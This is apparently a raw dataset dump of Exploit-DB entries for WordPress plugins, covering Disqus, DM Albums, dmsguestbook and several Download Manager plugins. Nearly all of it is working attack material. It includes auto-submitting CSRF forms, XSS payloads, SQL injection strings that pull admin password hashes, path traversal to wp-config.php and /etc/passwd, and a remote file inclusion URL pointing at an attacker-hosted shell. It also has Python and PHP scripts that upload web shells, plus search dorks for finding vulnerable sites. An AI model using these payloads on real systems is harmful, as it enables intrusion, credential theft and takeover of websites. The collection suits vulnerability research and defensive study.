deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34336
Description: WordPress Plugin Disqus 2.7.5 - Cross-Site Request Forgery (Admin Persistent) / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-08-14
Author: Nik Cubrilovic

Exploit:
<!--
Exploit for Disqus for Wordpress admin stored CSRF+XSS up to v2.7.5

Blog post explainer: https://www.nikcub.com/posts/multiple-vulnerabilities-in-disqus-wordpress-plugin/

12th August 2014

Nik Cubrilovic - www.nikcub.com

Most of these params are unfiltered/injectable. Not framable on newer Wordpress.

-->

<body onload="javascript:document.forms[0].submit()">
  

<form  action="http://wordpress.dev/wp-admin/edit-comments.php?page=disqus" method="post" class="dashboard-widget-control-form">
<h1>disqus csrf reset</h1>
<!-- Idea for you: Iframe it -->
<input name="disqus_forum_url" type="hidden" value="wordpress342222222" />
<input name="disqus_replace" type="hidden" value="all" />

<!-- <input name="disqus_partner_key" type="hidden" value="1" /> -->
<input name="disqus_cc_fix" type="hidden" value="1" />
<input name="disqus_partner_key" type="hidden" value="1" />
<input name="disqus_secret_key" type="hidden" value="1" />
<!-- Your File: <input name="disqus_sso_button" type="file" /><br /> -->
<input type="submit" value="save" />
<input name="disqus_public_key" type="hidden" value='&lt;/textarea&gt;<script>alert(1);</script><textarea>' />
</form>
Exploit-DB #9048
Description: WordPress Plugin DM Albums 1.9.2 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2009-06-30
Author: Stack

Exploit:
#############################################################################################
[+] WordPress Plugin DM Albums 1.9.2 Remote File Dislosure Vulnerability
[+] Author : Stack
[+] Greetz : V4 Team & Sec R1z
[+] Download Script : http://wordpress.org/extend/plugins/dm-albums/
#############################################################################################
[+] Xpl :
[+] http://[sitename]/[path]//wp-content/plugins/dm-albums/dm-albums.php?download=yes&file=config.php&currdir=/wp-content/plugins/dm-albums/
#############################################################################################

# milw0rm.com [2009-06-30]
Exploit-DB #9043
Description: WordPress Plugin DM Albums 1.9.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-06-29
Author: Septemb0x

Exploit:
#############################################################################################
[+] DM Albumsâ„¢ 1.9.2 & WordPress Plug-in Remote File Include Vulnerability
[+] Author : Septemb0x
[+] www.Cyber-Warrior.Org - Information Technology's World
[+] Greetz : BARCOD3 And All Friends...
[+] Dork : Yok Dork Mork :D
[+] Download Script : http://wordpress.org/extend/plugins/dm-albums/
#############################################################################################
[+] NORMAL EXPLOIT;
[+] http://[sitename]/[path]/template/album.php?SECURITY_FILE=http://attackersite/shell.php
[+] WORDPRESS EXPLOIT
[+] http://[sitename]/[path]/wp-content/plugins/dm-albums/template/album.php?SECURITY_FILE=http://attackersite/shell.php
#############################################################################################
< ---- Note ---- >
H....R;
Sen Ã§ok Ã¼stÃ¼n zekaya sahip birisin,
emin olbilirsin, :D
Sql injection ile domain hackleyebilen tek lamersin, :D
ASP'de Rfi Bulmakta Birebirsin,
Ama GÃ¶rdÃ¼ÄŸÃ¼m En hÄ±yar Lamersin :D
Bu Kafiyelerde Bi TarafÄ±na Girsin ;)
Lol H....R :D
< ---- Note Finished ---- >

# milw0rm.com [2009-06-29]
Exploit-DB #5035
Description: WordPress Plugin dmsguestbook 1.7.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-02-02
Author: NBBN

Exploit:
########################################################
Wordpress Plugin dmsguestbook 1.7.0 Multiple Remote Vulnerabilities
by NBBN  2nd, February 2008
########################################################

1) File Disclosure

Open the following url you can see the config data of wordpress, with the 
mysql-server username and password. In this file you usually have write 
permission, so an attacker can place his deface page here: 
 
http://site.tld/wordpress/wp-admin/admin.php?page=dmsguestbook&advanced=1&folder=language/&file=../../../../wp-config.php

Vuln code:
Line: 652-655
$handle = fopen ($abspath . "wp-content/plugins/dmsguestbook/" . 
$_REQUEST[folder] . $_REQUEST[file], "r");
	if(is_writable($abspath . "wp-content/plugins/dmsguestbook/" . 
$_REQUEST[folder] . $_REQUEST[file])) {
	echo "<br />$_REQUEST[file] <font style='color:#00bb00;'>is 
writable!</font><br />Set $file readonly again when your finished to 
customize!";


$_REQUEST[folder] & $_REQUEST[file] doesn't checked.



Another PoC: 
http://localhost/xampp/wordpress/wp-admin/admin.php?page=dmsguestbook&advanced=1&folder=language/&file=../../../../../../../../../../../../../../../../etc/passwd

Ok, for this you need an admin account, but you can get an admin account with 
the follow xss vulnerabilities. 

################


2) Cross-Site Scripting Vulnerabilities

a) If the script doesn't find the file, php shows an errormessage, so for xss 
open this:


http://site.tldwordpress/wp-admin/admin.php?page=dmsguestbook&advanced=1&folder=language/&file=<script>alert("XSS")</script>

b) Another vulnerability:

Find the guestbook page. In the messagefield write &lt;/textarea&gt;[your xss code]. 
So, if admin go to the admin panel, to show himself the guestbook, he execute 
your xss code

c) Again in the guestbook

Enter your message in the title ">[xss]  and in the messagearea: 
&lt;/textarea&gt;[xss] and enter a wrong captcha-code, you execute the xss code




Note: There more some more XSS-Vuln's. 


################

3) SQL-Injection Vulnerabilities

There are some SQL-Injection vulnerabilites, but an attacker need an admin 
account and if he is in the administration-panel, a sql-injection he not 
need. 

# milw0rm.com [2008-02-02]
Exploit-DB #50697
Description: WordPress Plugin Domain Check 1.0.16 - Reflected Cross-Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2022-02-02
Author: Ceylan BOZOĞULLARINDAN

Exploit:
# Exploit Title: WordPress Plugin Domain Check 1.0.16 - Reflected Cross-Site Scripting (XSS) (Authenticated)
# Date: 30-10-2021
# Exploit Author: Ceylan Bozogullarindan
# Author Webpage: https://bozogullarindan.com
# Vendor Homepage: https://domaincheckplugin.com/
# Software Link: https://wordpress.org/plugins/domain-check/
# Version: 1.0.16
# Tested on: Linux
# CVE: CVE-2021-24926 (https://wpscan.com/vulnerability/8cc7cbbd-f74f-4f30-9483-573641fea733)


# Description:

Domain Check is a Wordpress plugin that allows you to see what domains and SSL certificates are coming up for expiration and to quickly locate the coupons, coupon codes, and deals from your favorite sites before renewing.

An authenticated user is able to inject arbitrary Javascript or HTML code to the "Domain Check Profile" interface available in settings page of the plugin, due to incorrect sanitization of user-supplied data and achieve a Reflected Cross-Site Scripting attack against the administrators. The plugin versions prior to 1.0.16 are affected by this vulnerability.


The details of the discovery are given below.


# Steps To Reproduce:
1. Just visit the following page after signing in the administrator panel: http://vulnerable-wordpress-website/wp-admin/admin.php?page=domain-check-profile&domain=hacked.foo<script>alert(1)</script>
2. The XSS will be triggered on the settings page.
Exploit-DB #17763
Description: WordPress Plugin Donation 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-01
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Donation plugin <= 1.0 SQL Injection Vulnerability
# Date: 2011-08-31
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wordpress-donation-plugin-with-goals-and-paypal-ipn-by-nonprofitcmsorg.zip
# Version: 1.0 (tested)
# Note: WordPress Donation Plugin with Goals and Paypal IPN by NonprofitCMS.org (full name)

---
PoC
---
http://www.site.com/wp-content/plugins/wordpress-donation-plugin-with-goals-and-paypal-ipn-by-nonprofitcmsorg/exporttocsv.php?did=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
$dId = $_REQUEST["did"];
...
$campaigns = $wpdb->get_results("SELECT * FROM $table_name WHERE camp_id=$dId");
Exploit-DB #39896
Description: WordPress Plugin Double Opt-In for Download 2.0.9 - SQL Injection
Type: webapps
Platform: php
Date: 2016-06-06
Author: Kacper Szurek

Exploit:
# Exploit Title: Double Opt-In for Download 2.0.9 Sql Injection
# Date: 06-06-2016
# Software Link: https://wordpress.org/plugins/double-opt-in-for-download/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description
   
`$_POST['id']` is not escaped.

`populate_download_edit_form()` is accessible for every registered user.

http://security.szurek.pl/double-opt-in-for-download-209-sql-injection.html


2. Proof of Concept

Login as regular user.

<form name="xss" action="http://wordpress-url/wp-admin/admin-ajax.php?action=populate_download_edit_form" method="post">
	<input type="text" name="id" value="0 UNION SELECT 1, 2, 4, 5, 6, 7, user_pass FROM wp_users WHERE ID=1">
	<input type="submit" value="Send">
</form>

3. Solution:
   
Update to version 2.1.0
Exploit-DB #5326
Description: WordPress Plugin Download - 'dl_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-31
Author: BL4CK

Exploit:
###############################################################
#
# Wordpress Plugin Download file Remote SQL Injection Vulnerability
#
###############################################################
#
# Author: BL4CK
#
# Mail: bl4ck00@gmail.com
#
################################################################
#
# Dork: inurl:"wp-download.php?dl_id="
#
################################################################
Example:
http://localhost/[path]/[path]/[path]/wp-download.php?dl_id=[SQL]
SQL:
null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*
################################################################
# Greetz: ZioN, b!g B0$$, h4cky0u.org
################################################################

# milw0rm.com [2008-03-31]
Exploit-DB #50287
Description: Wordpress Plugin Download From Files 1.48 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2021-09-13
Author: spacehen

Exploit:
# Exploit Title: Wordpress Plugin Download From Files 1.48 - Arbitrary File Upload
# Google Dork: inurl:/wp-content/plugins/download-from-files
# Date: 10/09/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugins/download-from-files/
# Version: <= 1.48
# Tested on: Ubuntu 20.04.1 LTS (x86)

import os.path
from os import path
import json
import requests;
import sys

def print_banner():
	print("Download From Files <= 1.48 - Arbitrary File Upload")
	print("Author -> spacehen (www.github.com/spacehen)")

def print_usage():
	print("Usage: python3 exploit.py [target url] [php file]")
	print("Ex: python3 exploit.py https://example.com ./shell.(php4/phtml)")

def vuln_check(uri):
	response = requests.get(uri)
	raw = response.text

	if ("Sikeres" in raw):
		return True;
	else:
		return False;

def main():

	print_banner()
	if(len(sys.argv) != 3):
		print_usage();
		sys.exit(1);

	base = sys.argv[1]
	file_path = sys.argv[2]

	ajax_action = 'download_from_files_617_fileupload'
	admin = '/wp-admin/admin-ajax.php';

	uri = base + admin + '?action=' + ajax_action ;
	check = vuln_check(uri);

	if(check == False):
		print("(*) Target not vulnerable!");
		sys.exit(1)

	if( path.isfile(file_path) == False):
		print("(*) Invalid file!")
		sys.exit(1)

	files = {'files[]' : open(file_path)}
	data = {
	"allowExt" : "php4,phtml",
	"filesName" : "files",
    "maxSize" : "1000",
    "uploadDir" : "."
	}
	print("Uploading Shell...");
	response = requests.post(uri, files=files, data=data )
	file_name = path.basename(file_path)
	if("ok" in response.text):
		print("Shell Uploaded!")
		if(base[-1] != '/'):
			base += '/'
		print(base + "wp-admin/" + file_name);
	else:
		print("Shell Upload Failed")
		sys.exit(1)

main();
Exploit-DB #6127
Description: WordPress Plugin Download Manager 0.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-07-24
Author: SaO

Exploit:
<a name="upload-file"></a><h2>WORDPRESS PLUGIN DOWNLOAD MANAGER 0.2 REMOTE FILE UPLOAD</h2>
<h3>SaO</h3>
<h4>BiyoSecurityTeam || www.biyosecurity.com</h4>
<i>Plugin URI: http://giulioganci.netsons.org/downloads-manager<i>
    <hr color="#f0f8ff">
    <fieldset name="upl" class="options">

    <form action="http://[site]/wp-content/plugins/downloads-manager/upload.php?up=http://[site]/wp-content/plugins/downloads-manager/upload/" method="post" enctype="multipart/form-data" name="upload">
       <table cellspacing="0" cellpadding="3">
         <tr> 
           <td>Local File</td>
         </tr>
         <tr>
           <td><input name="upfile" type="file" id="upfile" size="50"><input type="hidden" name="MAX_FILE_SIZE" value="2048"></td>
           <td><input type="submit" name="up" value="Send" class="button" /></td>
         </tr>
       </table>
    </form>
    </fieldset>

# milw0rm.com [2008-07-24]
Exploit-DB #47251
Description: WordPress Plugin Download Manager 2.5 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2019-08-14
Author: Princy Edward

Exploit:
# Exploit Title: CSRF vulnerabilities in WordPress Download Manager Plugin 2.5
# Google Dork: inurl:"/wp-content/plugins/download-manager
# Date: 24 may, 2019
# Exploit Author: Princy Edward
# Exploit Author Blog : https://prinyedward.blogspot.com/
# Vendor Homepage: https://www.wpdownloadmanager.com/
# Software Link: https://wordpress.org/plugins/download-manager/
# Tested on: Apache/2.2.24 (CentOS)
POC 

#1 

There is no CSRF nonce check performed in "POST
/wp-admin/admin-ajax.php?action=wpdm_save_email_setting" request. 

#Code

<form method="POST"
action="http://localhost/wp-admin/admin-ajax.php?action=wpdm_save_email_setting">
<input type="hidden" name="__wpdm_email_template" value="default.html">
<input type="hidden" name="__wpdm_email_setting[logo]"
value="https://hacker.jpg">
<input type="hidden" name="__wpdm_email_setting[banner]"
value="https://hacker.jpg">
<input type="hidden" name="__wpdm_email_setting[footer_text]"
value="https://malicious-url.com"><input type="hidden" name="__wpdm_email_setting[facebook]"
value="https://malicious-url.com">
<input type="hidden" name="__wpdm_email_setting[twitter]" value="https://malicious-url.com">
<input type="hidden" name="__wpdm_email_setting[youtube]"
value="https://malicious-url.com">
<input type="submit">
</form>

#2

There is no CSRF nonce check performed in "POST
/wp-admin/edit.php?post_type=wpdmpro&page=templates&_type=email&task=EditEmailTemplat
e&id=default" request.

#Code

<form method="POST"
action="http://localhost/wp-admin/edit.php?post_type=wpdmpro&page=templates&_type=email&
task=EditEmailTemplate&id=default">
<input type="hidden" name="id" value="default">
<input type="hidden" name="email_template[subject]" value="forget password">
<input type="hidden" name="email_template[message]" value="aaa">
<input type="hidden" name="email_template[from_name]" value="hacker">
<input type="hidden" name="email_template[from_email]" value="hacker@hacker.com">
<input type="submit">
</form>
Exploit-DB #36301
Description: WordPress Plugin Download Manager 2.7.2 - Privilege Escalation
Type: webapps
Platform: php
Date: 2014-11-24
Author: Kacper Szurek

Exploit:
# Exploit Title: WordPress Download Manager 2.7.2 Privilege Escalation
# Date: 24-11-2014
# Software Link: https://wordpress.org/plugins/download-manager/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
# CVE: CVE-2014-9260

1. Description
  
Every registered user can update every WordPress options using basic_settings() function.

function basic_settings()
{
    if (isset($_POST['task']) && $_POST['task'] == 'wdm_save_settings') {

        foreach ($_POST as $optn => $optv) {
            update_option($optn, $optv);
        }
        if (!isset($_POST['__wpdm_login_form'])) delete_option('__wpdm_login_form');



        die('Settings Saved Successfully');
    }
    include('settings/basic.php');
}

http://security.szurek.pl/wordpress-download-manager-272-privilege-escalation.html

2. Proof of Concept

Login as standard user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wdm_settings">
    <input type="hidden" name="task" value="wdm_save_settings">
    <input type="hidden" name="section" value="basic">
    <input type="hidden" name="default_role" value="administrator">
    <input type="submit" value="Hack!">
</form>

After that create new user using wp-login.php?action=register. Newly created user will have admin privileges.

3. Solution:
  
Update to version 2.7.3
Exploit-DB #47350
Description: WordPress Plugin Download Manager 2.9.93 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-09-04
Author: MgThuraMoeMyint

Exploit:
* Exploit Title: WordPress Download Manager Cross-site Scripting
* Discovery Date: 2019-04-13
* Exploit Author: ThuraMoeMyint
* Author Link: https://twitter.com/mgthuramoemyint
* Vendor Homepage: https://www.wpdownloadmanager.com
* Software Link: https://wordpress.org/plugins/download-manager
* Version: 2.9.93
* Category: WebApps, WordPress
CVE:CVE-2019-15889
Description
--

In the pro features of the WordPress download manager plugin, there is
a Category Short-code feature witch can use to sort categories with
order by a function which will be used as ?orderby=title,publish_date
.
By adding parameter "> and add any XSS payload , the xss payload will execute.

To reproduce,

1.Go to the link where we can find ?orderby
2.Add parameters >” and give simple payload like <script>alert(1)</script>
3.The payload will execute.
--

PoC
--

 <div class="btn-group btn-group-sm pull-right"><button type="button"
class="btn btn-primary" disabled="disabled">Order &nbsp;</button><a
class="btn btn-primary"
href="https://server/wpdmpro/category-short-code/?orderby=publish_date\"><script>alert(11)</script>&order=asc">Asc</a><a
class="btn btn-primary"
href="https://server/wpdmpro/category-short-code/?orderby=publish_date\"><script>alert(11)</script>&order=desc">Desc</a></div>

--
Demo
--
https://server/wpdmpro/list-packages/?orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc
--


Another reflected cross-site scripting via advance search

https://server/wpdmpro/advanced-search/

https://server/wpdmpro/advanced-search/?search[publish_date]=2019-04-17+to+2019-04-17%22%3E%3Cscript%3Ealert(1)%3C/script%3E&search[update_date]=&search[view_count]=&search[download_count]=&search[package_size]=&search[order_by]=&search[order]=ASC&q=a
Exploit-DB #30105
Description: WordPress Plugin Download Manager Free & Pro 2.5.8 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-12-08
Author: Jeroen - IT Nerdbox

Exploit:
# Exploit Title: Wordpress Plugin: Wordpress Download Manager Free & Pro
Persistent Cross Site Scripting 

# Google Dork:

# Date: 12-06-2013

# Exploit Author: IT Nerdbox

# Vendor Homepage: http://www.wpdownloadmanager.com # Software Link:
http://downloads.wordpress.org/plugin/download-manager.zip

# Version: v3.3.8

# Tested on: Wordpress 3.7.1 on Linux CentOS # CVE : N/A

 

 

 

When creating a new download package you need to enter a title, description
and the file(s) that you want to be available for download. The title input
field is not sanitized and therefor vulnerable to persistent cross site
scripting. The payload used is <input onmouseover=prompt(document.cookie)>

 

 

More information, including screenshots, can be found at:

http://www.nerdbox.it/wordpress-download-manager-xss/
Exploit-DB #37622
Description: WordPress Plugin Download Manager Free 2.7.94 & Pro 4 - (Authenticated) Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2015-07-16
Author: Filippos Mastrogiannis

Exploit:
# WordPress Download Manager Free 2.7.94 & Pro 4 Authenticated Stored XSS

# Vendor Homepage: http://www.wpdownloadmanager.com
# Software Link: https://wordpress.org/plugins/download-manager
# Affected Versions: Free 2.7.94 & Pro 4
# Tested on: WordPress 4.2.2

# Discovered by Filippos Mastrogiannis
# Twitter: @filipposmastro
# LinkedIn: https://www.linkedin.com/pub/filippos-mastrogiannis/68/132/177

-- Description --

The stored XSS vulnerability allows any authenticated user to inject malicious code via the name of the uploaded file:

Example: <svg onload=alert(0)>.jpg

The vulnerability exists because the file name is not properly sanitized 
and this can lead to malicious code injection that will be executed on the 
target’s browser.

-- Proof of Concept --

	
1. The attacker creates a new download package via the plugin's menu
and uploads a file with the name: <svg onload=alert(0)>.jpg 

2. The stored XSS can be triggered when an authenticated user (e.g. admin)
attempts to edit this download package

-- Solution --

Upgrade to the latest version
Exploit-DB #37787
Description: WordPress Plugin Download Monitor - 'dlsearch' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-30
Author: Chris Cooper

Exploit:
source: https://www.securityfocus.com/bid/55487/info

The Download Monitor plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Download Monitor 3.3.5.7 is vulnerable; other versions may also be affected. 

GET /wp/?dlsearch=">alert('xsstest') HTTP/1.1
Exploit-DB #19057
Description: WordPress Plugin drag and drop file upload 0.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-11
Author: Adrien Thierry

Exploit:
###########################################################
#
# Exploit Title: Wordpress drag and drop file upload 0.1 Arbitrary File Upload
# Google Dork: inurl:wp-content/plugins/drag-drop-file-uploader/
# Date: 11/06/2012
# Exploit Author: Adrien Thierry
# Vendor Homepage:  http://www.ali.dj/
# Software Link: http://downloads.wordpress.org/plugin/drag-drop-file-uploader.0.1.zip
# Version: 0.1
#
###########################################################

Vuln page : http://mysite.com/wp-content/plugins/drag-drop-file-uploader/dnd-upload.php

exploit :

<?php
$u="shell.php.jpg";
$c = curl_init("http://127.0.0.1/wp/wp-content/plugins/drag-drop-file-uploader/dnd-upload.php");
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS,
array('file'=>"@$u"));
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$e = curl_exec($c);
curl_close($c);
echo $e; 
?>

Shell access : http://mysite.com/wp-content/uploads/[YYYY]/[MM]/shell.php.jpg

#####################################################################